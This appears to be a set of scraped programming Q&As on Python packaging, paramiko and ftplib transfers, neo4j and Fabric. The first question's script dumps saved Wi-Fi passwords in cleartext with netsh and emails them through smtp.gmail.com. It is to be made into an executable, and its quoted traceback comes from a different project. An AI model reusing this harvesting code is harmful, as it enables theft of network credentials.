How to make a python script executable - python

I'm trying to make a simple python executable.
I tried it on python 3 and python 2.7, downloaded winpy32, tried it on Linux and windows, tried py-to-exe and pyinstaller. and I am still getting this error:
raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error:
here's my code:
import subprocess
import smtplib
from smtplib import *
import re
command1 = "netsh wlan show profile"
networks = subprocess.check_output(command1, shell=True)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())
final_output = ""
for network in network_list:
command2 = "netsh wlan show profile " + network + " key=clear"
a_network_result = subprocess.check_output(command2, shell=True)
final_output += a_network_result.decode()
final_output = str(final_output)
fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output
msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )
username = str('MyEmail')
password = str('MyPasswd')
#try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(username, password)
server.sendmail(fromMy, to, msg)
server.quit()
here is the full trace =
79702 DEBUG: Analyzing .git\objects\78\e83411cea88cd038acb12c005a984fc0d6d423
Traceback (most recent call last):
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\pywintypes.py", line 35, in pywin32error
yield
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\win32api.py", line 43, in LoadLibraryEx
return _dll._LoadLibraryEx(fileName, 0, flags)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\core\ctypes\_util.py", line 42, in check_null
raise make_error(function, function_name)
OSError: [WinError 2] The system cannot find the file specified.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "C:/Users/User1/Dropbox/GitHub_Repos/DiabetesReportGenerator_v2/pyinstaller_freeze.py", line 37, in <module>
'MainWindow.py'
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\__main__.py", line 112, in run
run_build(pyi_config, spec_file, **vars(args))
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\__main__.py", line 63, in run_build
PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 732, in main
build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build'))
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 679, in build
exec(code, spec_namespace)
File "C:\Users\User1\Dropbox\GitHub_Repos\DiabetesReportGenerator_v2\Risk Calculator.spec", line 17, in <module>
noarchive=False)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 242, in __init__
self.__postinit__()
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\datastruct.py", line 158, in __postinit__
self.assemble()
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 468, in assemble
redirects=self.binding_redirects))
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 226, in Dependencies
for ftocnm, fn in getAssemblyFiles(pth, manifest, redirects):
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 402, in getAssemblyFiles
for assembly in getAssemblies(pth):
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 353, in getAssemblies
res = GetManifestResources(pth)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\utils\win32\winmanifest.py", line 1005, in GetManifestResources
return winresource.GetResources(filename, [RT_MANIFEST], names, languages)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\utils\win32\winresource.py", line 168, in GetResources
hsrc = win32api.LoadLibraryEx(filename, 0, LOAD_LIBRARY_AS_DATAFILE)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\win32api.py", line 43, in LoadLibraryEx
return _dll._LoadLibraryEx(fileName, 0, flags)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\contextlib.py", line 130, in __exit__
self.gen.throw(type, value, traceback)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\pywintypes.py", line 37, in pywin32error
raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error: (2, 'LoadLibraryExW', 'The system cannot find the file specified.')
is there maybe anything wrong with my os?
any help is welcome :)

Your code has some unrelated problems. I changed it a little and pyinstaller works as expected
import subprocess
import smtplib
#from smtplib import * Here you try to import smtplib again
#import re
# Not needed for this example
# command1 = "netsh wlan show profile"
# networks = subprocess.check_output(command1, shell=True)
# network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())
#
# final_output = ""
# for network in network_list:
# command2 = "netsh wlan show profile " + network + " key=clear"
# a_network_result = subprocess.check_output(command2, shell=True)
# final_output += a_network_result.decode()
#
final_output = 'cmd output' # Simulate the cmd output you want emailed
fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output
msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )
# Use regular strings in the variables python implicitly types them
username = 'MyEmail'
password = 'MyPasswd'
try: # Will always fail without real credentials
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(username, password)
server.sendmail(fromMy, to, msg)
server.quit()
except smtplib.SMTPAuthenticationError:
print("The username or password were incorrect")
Worked for me under windows both python 3.7 and 3.8
Copy my code then run pyinstaller <script name>.py and see if the same error is raised again.
note: You need to run <script name>.exe from the terminal in the dist\<script name> path not build\<script name>
edit
Additional troubleshooting steps:
Try python from the python site not Microsoft store
Try a different environment (if you used venv or virtualenv try the system interpreter)
Debug your script and make sure it can be run by python before you try to package it with pyinstaller

Related

Unable to transfer file from master node to minion nodes using sftp in a python script

I am trying to send a file from the master node to minion nodes using a python script but a single error OSError: Failure keeps on coming up.
I tried to code this file to send this file from one local machine to another local machine.
My code:
#! /usr/bin/python
#! /usr/bin/python3
import paramiko
import os
#Defining working connect
def workon(host):
#Making a connection
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #To add the missing host key and auto add policy
ssh_client.connect(hostname = host, username = 'username', password = 'password')
ftp_client = ssh_client.open_sftp()
ftp_client.put("/home/TrialFolder/HelloPython", "/home/")
ftp_client.close()
#stdin, stdout, stderr = ssh_client.exec_command("ls")
#lines = stdout.readlines()
#print(lines)
def main():
hosts = ['192.16.15.32', '192.16.15.33', '192.16.15.34']
threads = []
for h in hosts:
workon(h)
main()
Error:
Traceback (most recent call last):
File "PythonMultipleConnectionUsinhSSH.py", line 28, in <module>
main()
File "PythonMultipleConnectionUsinhSSH.py", line 26, in main
workon(h)
File "PythonMultipleConnectionUsinhSSH.py", line 15, in workon
ftp_client.put("/home/Sahil/HelloPython", "/home/")
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 759, in put
return self.putfo(fl, remotepath, file_size, callback, confirm)
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 714, in putfo
with self.file(remotepath, "wb") as fr:
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 372, in open
t, msg = self._request(CMD_OPEN, filename, imode, attrblock)
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 813, in _request
return self._read_response(num)
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 865, in _read_response
self._convert_status(msg)
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 898, in _convert_status
raise IOError(text)
OSError: Failure
First, you should make sure the target directory /home/ is writable for you. Then you should review documentation for the put method. It says this about the second argument (remotepath):
The destination path on the SFTP server. Note that the filename should be included. Only specifying a directory may result in an error.
Try including the filename in the path, like:
...
ftp_client.put("/home/TrialFolder/HelloPython", "/home/HelloPython")
...

AuthError trying to connect to neo4j from python

I'm trying to run neo4j in a docker container and connect to it from a python script not running in a container, but I'm getting AuthError.
I'm following the instructions from here
Start neo4j
docker run \
--publish=7474:7474 --publish=7687:7687 \
--volume=$HOME/neo4j/data:/data \
--volume=$HOME/neo4j/logs:/logs \
neo4j:3.5
I've also done this with these added insturctions "By default Neo4j requires authentication and requires you to login with neo4j/neo4j at the first connection and set a new password. You can set the password for the Docker container directly by specifying --env NEO4J_AUTH=neo4j/ in your run directive."
Start neo4j
docker run \
--publish=7474:7474 --publish=7687:7687 \
--volume=$HOME/neo4j/data:/data \
--volume=$HOME/neo4j/logs:/logs \
--env NEO4J_AUTH=neo4j/neo \
neo4j:3.5
After doing either of these, I am able to connect via the web interface at http://localhost:7474/
Now I want to connect with a python script as described here which has me run this code (note I've changed the password to match the NEO4J_AUTH setting from the docker command).
from neo4j import GraphDatabase
class HelloWorldExample:
def __init__(self, uri, user, password):
self.driver = GraphDatabase.driver(uri, auth=(user, password))
def close(self):
self.driver.close()
def print_greeting(self, message):
with self.driver.session() as session:
greeting = session.write_transaction(self._create_and_return_greeting, message)
print(greeting)
#staticmethod
def _create_and_return_greeting(tx, message):
result = tx.run("CREATE (a:Greeting) "
"SET a.message = $message "
"RETURN a.message + ', from node ' + id(a)", message=message)
return result.single()[0]
if __name__ == "__main__":
greeter = HelloWorldExample("bolt://localhost:7687", "neo4j", "neo")
greeter.print_greeting("hello, world")
greeter.close()
When I run this code I get this error.
Traceback (most recent call last):
File "/Users/j/projects/neotest/neo.py", line 25, in <module>
greeter = HelloWorldExample("bolt://localhost:7687", "neo4j", "neo4j")
File "/Users/j/projects/neotest/neo.py", line 6, in __init__
self.driver = GraphDatabase.driver(uri, auth=(user, password))
File "/usr/local/lib/python3.7/site-packages/neo4j/__init__.py", line 183, in driver
return cls.bolt_driver(parsed.netloc, auth=auth, **config)
File "/usr/local/lib/python3.7/site-packages/neo4j/__init__.py", line 196, in bolt_driver
return BoltDriver.open(target, auth=auth, **config)
File "/usr/local/lib/python3.7/site-packages/neo4j/__init__.py", line 359, in open
pool = BoltPool.open(address, auth=auth, pool_config=pool_config, workspace_config=default_workspace_config)
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 531, in open
seeds = [pool.acquire() for _ in range(pool_config.init_size)]
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 531, in <listcomp>
seeds = [pool.acquire() for _ in range(pool_config.init_size)]
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 545, in acquire
return self._acquire(self.address, timeout)
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 409, in _acquire
connection = self.opener(address, timeout)
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 528, in opener
return Bolt.open(addr, auth=auth, timeout=timeout, routing_context=routing_context, **pool_config)
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 227, in open
raise error
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 222, in open
connection.hello()
File "/usr/local/lib/python3.7/site-packages/neo4j/io/_bolt3.py", line 148, in hello
self.fetch_all()
File "/usr/local/lib/python3.7/site-packages/neo4j/io/_bolt3.py", line 393, in fetch_all
detail_delta, summary_delta = self.fetch_message()
File "/usr/local/lib/python3.7/site-packages/neo4j/io/_bolt3.py", line 339, in fetch_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.7/site-packages/neo4j/io/_bolt3.py", line 544, in on_failure
raise AuthError(message)
neo4j.exceptions.AuthError: {code: None} {message: None}
Your error does indicate a bit different code:
Traceback (most recent call last):
File "/Users/j/projects/neotest/neo.py", line 25, in <module>
greeter = HelloWorldExample("bolt://localhost:7687", "neo4j", "neo4j")
Here it shows that you initiated the HelloWorldClass with password "neo4j" instead of "neo"

ftplib.error_perm: 553 Could not create file. (Python 2.4.4)

I am writing to the home directory of the user I'm FTPing into, so permissions shouldn't be an issue. FTP works in FileZilla.
I checked the vsftp.conf and made the local_enable=YES change
On a Debian4 system with Python 2.4.4 (I can't upgrade it), I am using this code with ftplib
>>> f = ftplib.FTP('address', 'user', 'password')
>>> f.cwd('/home/user/some/dir/')
'250 Directory successfully changed.'
>>> myfile = '/full/path/of/file.txt'
>>> o = open(myfile, 'rb')
>>> f.storbinary('STOR ' + myfile, o)
Traceback (most recent call last):
File "<stdin>", line 1, in ?
File "/usr/lib/python2.4/ftplib.py", line 415, in storbinary
conn = self.transfercmd(cmd)
File "/usr/lib/python2.4/ftplib.py", line 345, in transfercmd
return self.ntransfercmd(cmd, rest)[0]
File "/usr/lib/python2.4/ftplib.py", line 327, in ntransfercmd
resp = self.sendcmd(cmd)
File "/usr/lib/python2.4/ftplib.py", line 241, in sendcmd
return self.getresp()
File "/usr/lib/python2.4/ftplib.py", line 216, in getresp
raise error_perm, resp
ftplib.error_perm: 553 Could not create file.
Any ideas why it fails?
You are not writing to a home directory, you are writing to /full/path/of/file.txt:
myfile = '/full/path/of/file.txt'
...
f.storbinary('STOR ' + myfile, o)
You have to use a file name only with the STOR command (once the "cwd" is already the correct target path):
f.cwd('/home/user/some/dir/')
f.storbinary('STOR file.txt', o)
or a correct absolute path for the remote host:
f.storbinary('STOR /home/user/some/dir/file.txt', o)

Web2py with paramiko for ssh functionality

I have a form built via web2py that i need to use to validate and register a machine and store it into a database. The validation is not passing through. I am always getting error that "Houston there seems to be a problem with Machine name or super password". If i run the paramiko script outside the web2py environment it is working fine. Please help.
Form Details:
db.define_table('nsksystem',
Field('nskmachinename', length=128, requires = IS_NOT_EMPTY(error_message='Machine Name cant be empty'), label = T('Machine Name')),
Field('nskpassword', 'password', length=512,readable=False, label=T('Machine Password')),
Field('confirmnskpassword', 'password', length=512,readable=False, label=T('Confirm Machine Password')) )
Controller: default.py( for validating the form insertion before inserting)
def machinevalidate(form):
host = form.vars.nskmachinename
user ='superman'
pwd = form.vars.nskpassword
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, username=user,password=pwd)
return True
except Exception, e:
form.errors.nskpassword = 'Houston there seems to be a problem with Machine name or super password'
finally:
ssh.close()
Controller: default.py (for the insertion into database)
#auth.requires_login()
def machine():
form = SQLFORM(db.nsksystem)
if form.process(onvalidation=machinevalidate).accepted:
response.flash = 'The machine is now registered to the user.'
elif form.errors:
response.flash = 'Form has errors'
else:
response.flash = 'Please register a machine to your ID'
return dict(form=form)
After the suggestion I removed the try/ catch and here is the traceback of error. I have wintypes.py under Lib/ctypes. But still then couldnot figure out why there is an import error.
Traceback (most recent call last):
File "gluon/restricted.py", line 224, in restricted
File "C:/web2py/applications/click/controllers/default.py", line 53, in <module>
File "gluon/globals.py", line 393, in <lambda>
File "gluon/tools.py", line 3444, in f
File "C:/web2py/applications/click/controllers/default.py", line 39, in machine
if form.process(onvalidation=machinevalidate).accepted:
File "gluon/html.py", line 2303, in process
File "gluon/html.py", line 2240, in validate
File "gluon/sqlhtml.py", line 1461, in accepts
File "gluon/html.py", line 2141, in accepts
File "gluon/html.py", line 146, in call_as_list
File "C:/web2py/applications/click/controllers/default.py", line 33, in machinevalidate
ssh.connect(host, username=user,password=pwd)
File "C:\Python27\lib\site-packages\paramiko\client.py", line 307, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "C:\Python27\lib\site-packages\paramiko\client.py", line 456, in _auth
self._agent = Agent()
File "C:\Python27\lib\site-packages\paramiko\agent.py", line 332, in __init__
from . import win_pageant
File "gluon/custom_import.py", line 105, in custom_importer
File "C:\Python27\lib\site-packages\paramiko\win_pageant.py", line 25, in <module>
import ctypes.wintypes
File "gluon/custom_import.py", line 105, in custom_importer
ImportError: No module named wintypes
Got the solution...
I was using the compiled version of web2py. When i used the source code, importing of modules were not a head ache any more. Thank you Andrew Magee for giving a heads up...

Using passwords in fabric execute command

I was trying to pull the logs from one of our servers using fabric. This needs to be executed from a different python program. The problem is we don't have SSH keys and we have only passwords. Could you please help me to provide passwords to connect to the server?
Code:
from fabric.api import *
from fabric.tasks import execute
def get_logs():
get('/var/logs/custom', ".")
if __name__ == '__main__':
execute(get_logs, hosts=["username#hostname",])
Error
**[username#hostname] Executing task 'get_logs'
Traceback (most recent call last):
File "D:\Python\ws\fabric\Fabric_test\example.py", line 8, in <module>
execute(get_logs, hosts=["username#hostname",])
File "D:\Python\ws\fabric\lib\site-packages\fabric\tasks.py", line 368, in execute
multiprocessing
File "D:\Python\ws\fabric\lib\site-packages\fabric\tasks.py", line 264, in _execute
return task.run(*args, **kwargs)
File "D:\Python\ws\fabric\lib\site-packages\fabric\tasks.py", line 171, in run
return self.wrapped(*args, **kwargs)
File "D:\Python\ws\fabric\Fabric_test\example.py", line 5, in get_logs
get('/var/logs/custom/', ".")
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 639, in host_prompting_wrapper
return func(*args, **kwargs)
File "D:\Python\ws\fabric\lib\site-packages\fabric\operations.py", line 528, in get
ftp = SFTP(env.host_string)
File "D:\Python\ws\fabric\lib\site-packages\fabric\sftp.py", line 30, in __init__
self.ftp = connections[host_string].open_sftp()
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 151, in __getitem__
self.connect(key)
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 143, in connect
self[key] = connect(user, host, port, cache=self)
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 523, in connect
password = prompt_for_password(text)
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 604, in prompt_for_password
new_password = _password_prompt(password_prompt, stream)
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 576, in _password_prompt
return getpass.getpass(prompt.encode('ascii', 'ignore'), stream)
TypeError: pydev_getpass() takes at most 1 argument (2 given)
**
It looks like you are running the script from IDE (PyDev) that replaces getpass.getpass() function by its own function pydev_getpass() that has different signature (it doesn't accept the second argument stream).
If you run the script from the command line; you should not get this error.
Finally solved by executing as a OS Shell Command. Here is the entire snippet.
import os, shutil
from subprocess import check_output
from fabric.api import get
def get_logs(source_dir):
get('/var/logs/custom', source_dir)
def fetch_logs(hostname, username, password):
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
current_file_name = os.path.abspath(__file__).replace(".pyc", ".py")
local_path = os.path.join(BASE_DIR, 'data', hostname)
try:
shutil.rmtree(local_path)
except:
pass
exe = os.path.join(BASE_DIR, "..", "Scripts", "fab.exe")
input_cmd = exe + " -H " + hostname + " -u " + username + " -p " + password + " -f " + current_file_name + " get_logs:source_dir:" + local_path
try:
check_output(input_cmd, shell=True)
except Exception as e:
print e
return False
shutil.move(os.path.join(BASE_DIR, 'download'), local_path)
return True

Categories

Resources